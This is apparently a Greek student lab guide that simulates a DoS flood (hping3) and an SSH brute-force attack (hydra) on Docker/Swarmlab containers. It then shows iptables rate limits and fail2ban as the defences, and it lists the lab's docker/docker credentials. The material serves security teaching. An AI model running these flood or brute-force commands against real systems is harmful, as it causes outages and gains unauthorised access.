*Στην εργασία θα αναφερθούμε πως να κανουμε προσομοίωση και αντιμετώπιση επίθεσης DDos, προσομοίωση SSH Brute Force, Local/Remote SSH Forwarding και VPN.
Για την υλοποίηση των παραπάνω θα χρησιμοποιήσουμε το docker και το swarmlab*


*Τι είναι το docker*

video::wi-MGFhrad0[youtube]

To Docker είναι μια πλατφόρμα λογισμικού ανοιχτού κώδικα που υλοποιεί Εικονικοποίηση σε επίπεδο Λειτουργικού Συστήματος. Ουσιαστικά το Docker προσφέρει αυτοματοποιημένες διαδικασίες για την ανάπτυξη εφαρμογών σε απομονωμένες Περιοχές Χρήστη που ονομάζονται Software Containers.

*http://docs.swarmlab.io/SwarmLab-HowTos/labs/sec/sec.adoc.html[Swarmlab^]*


Πρώτα κάνουμε εγκατάσταση του docker ακολουθώντας τις οδηγίες απο http://docs.swarmlab.io/SwarmLab-HowTos/labs/Howtos/docker/install.adoc.html[εδω^].
Μετά κάνουμε clone το swarmlab απο το https://git.swarmlab.io:3000/swarmlab/swarmlab-sec[git εδώ^] και ακολουθούμε http://docs.swarmlab.io/SwarmLab-HowTos/labs/sec/sec.adoc.html[ τις οδηγίες^]. 

Αρχικά δημιουργμούμε φάκελο μεσα στο swarmlab με το όνομα που θέλουμε και μπαίνουμε στον φάκελο με τερματικό. Εκεί θα ξεκινήσουμε τα containers με τις εντολές *create* και *up size=X* οπου Χ ο αριθμός εικονικών συστημάτων που θέλουμε.
Για παράδειγμα βάζω Χ=5.

```
../install/usr/share/swarmlab.io/sec/swarmlab-sec create

../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=5
```
Μόλις ολοκληρωθεί η διαδικασία κανω *login* στον *master*
```
../install/usr/share/swarmlab.io/sec/swarmlab-sec login
```
*1.DDos*

Έπειτα εκτελούμε αυτές τις εντολές για να εγκαταστήσουμε το εργαλείο *hping3*.
```
sudo apt update
sudo apt install hping3 -y
```
Επιλέγουμε την περιοχή μας και την πόλη μας κατα την εγκατάσταση του εργαλείου.

Για να βρούμε τις IP των workers εκτελούμε:
```
ifconfig eth0 | grep inet | awk '{print $2}'

```
Η εντολή αυτη μας δινει την IPv4 του master. Xρησιμοποιούμε αυτην την IPv4 εκτός απο το τελευταιο byte(αριθμο) για να βρούμε και τους workers στο δίτκυο με την εντολή:
```
nmap -sP χχχ.χχχ.χχχ.*| grep worker
```
*οπου χχχ.χχχ.χχχ ο αριθμός δικτύου του master*

Επιλέγουμε έναν worker και κανουμε login με την IP του
```
ssh docker@<IP_Worker>
```
Παταμε *yes* στην σύνδεση.

Tα στοιχεία των worker και του master είναι:
*USERNAME: docker   |
PASSWORD: docker*

*Παράλληλα ανοιγουμε άλλο ένα παράθυρο τερματικού και συνδεόμαστε πάλι στον master.*

Από το δεύτερο παράθυρο που είμαστε συνδεδεμένοι στον *master* εκτελούμε το *hping3* για να ξεκινήσουμε την Dos attack.
*Οπου <IP_WORKER> ΒΑΖΟΥΜΕ τoν worker που έχουμε επιλέξει.*
```
sudo hping3 -p 80 --flood --icmp <IP_WORKER>
```
*Οπου <IP_WORKER> ΒΑΖΟΥΜΕ τoν worker που έχουμε επιλέξει.*

Στοn *worker* στην πόρτα 80 θα μπορούσαμε να είχαμε ανοίξει έναν σερβερ apache2 οπου και εκεί κάνουμε επίθεση.
Εκτελούμε στον worker
```
sudo timeout 2s tcpdump -v -i eth0 icmp and src <IP_WORKER>
```
Για να βλέπουμε την κίνηση που δημιουργεί η επίθεση μας.

Τώρα βάζουμε μέσω *iptables* τους κανόνες για να αντιμετωπίσουμε την επίθεση. Επιτρέπουμε μόνο ένα πακέτο icmp ανα δευτερόλεπτο.
*Οπου <IP_WORKER> ΒΑΖΟΥΜΕ τoν worker που έχουμε επιλέξει.*
```
sudo iptables -N icmp_def

sudo iptables -A INPUT -p icmp -j icmp_def

sudo iptables -A icmp_def -m limit --limit 1/s --limit-burst 3 -j RETURN

sudo iptables -A icmp_def -j DROP

sudo timeout 2s tcpdump -v -i eth0 icmp and src <IP_WORKER>

```
Βλέπουμε λοιπόν μεγάλη διαφορά στα πακέτα πριν και μετά από τους κανόνες.


*2.SSH Brute Force Attack*

Ακολουθώντας πάντα την διαδικασία συνδεσης στον *Master* συνδέομαι.
Σε αυτο το παράδειγμα ο master θα κανει την επίθεση SSH Brute Force Attack στον worker που έχουμε επιλέξει χρησιμοποιώντας το *hydra*.
Εκετελούμε τις εντολές για να εγκαταστήσουμε το *Hydra*:
```
sudo apt update
sudo apt install hydra -y
```
*Οπου <IP_WORKER> ΒΑΖΟΥΜΕ τoν worker που έχουμε επιλέξει.*

Με την *IP του Worker* και τα λεξικα *dict_false & dict_true* ξεκινάμε την επίθεση:
```
hydra -l docker -P dict_false <IP_WORKER> -t 6 ssh
hydra -l docker -P dict_true <IP_WORKER> -t 6 ssh
```
Παρατηρούμε οτι το λεξικό που περιέχει την σωστή λεξη (docker) *dict_true* μας επιστρεφει αποτέλεσμα στην επίθεση.



Για να αντιμετωπίσουμε αυτή την επίθεση *στον worker* χρησιμοποιούμε το εργαλείο *fail2ban*.
Συνδεόμαστε στον *worker* και εκτελούμε τις παρακάτω εντολές για να το εγκαταστήσουμε.
```
sudo apt update
sudo apt-get install fail2ban -y
sudo apt install rsyslog -y
```
Για να μην πειραχτεί το αρχειο jail.conf το αντιγράφουμε στον ίδιο φάκελο στο αρχείο jail.local:
```
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
sudo cp "/project/fail2ban_ssh_conf_local" /etc/ssh/sshd_config
sudo service ssh restart
sudo service rsyslog restart
sudo service fail2ban restart
```
Σε περίπτωση που υπάρχει πρόβλημα με το path του *auth.log*:
```
sudo touch /var/log/auth.log
sudo chown root.root /var/log/auth.log
sudo chmod 600 /var/log/auth.log
```
Και έτσι αντιμετώπιζω μια ssh brute force attack χρησιμοποιώντας το *fail2ban*.